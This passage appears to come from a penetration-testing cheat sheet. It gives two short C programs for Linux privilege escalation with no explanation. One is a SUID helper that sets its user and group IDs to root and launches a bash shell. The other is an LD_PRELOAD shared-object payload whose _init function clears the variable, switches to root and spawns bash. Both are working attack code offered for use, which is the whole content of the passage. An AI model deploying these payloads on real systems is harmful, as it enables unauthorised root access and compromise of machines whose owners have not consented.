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- Simple binary for SUID exploitation
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```C
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#include <unistd.h>
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#include <err.h>
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#include <stdio.h>
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#include <sys/types.h>
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int main(void) {
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if (setuid(0) || setgid(0))
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err(1, "setuid/setgid");
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fputs("We are root! Cthulhu fhtagn!\n", stderr);
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execl("/bin/bash", "bash", NULL);
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err(1, "execl");
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}
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```
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- Simple LD_PRELOAD privesc binary
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```C
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#include <stdio.h>
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#include <sys/types.h>
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#include <stdlib.h>
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void _init() {
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unsetenv("LD_PRELOAD");
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setgid(0);
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setuid(0);
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system("/bin/bash");
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}
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```
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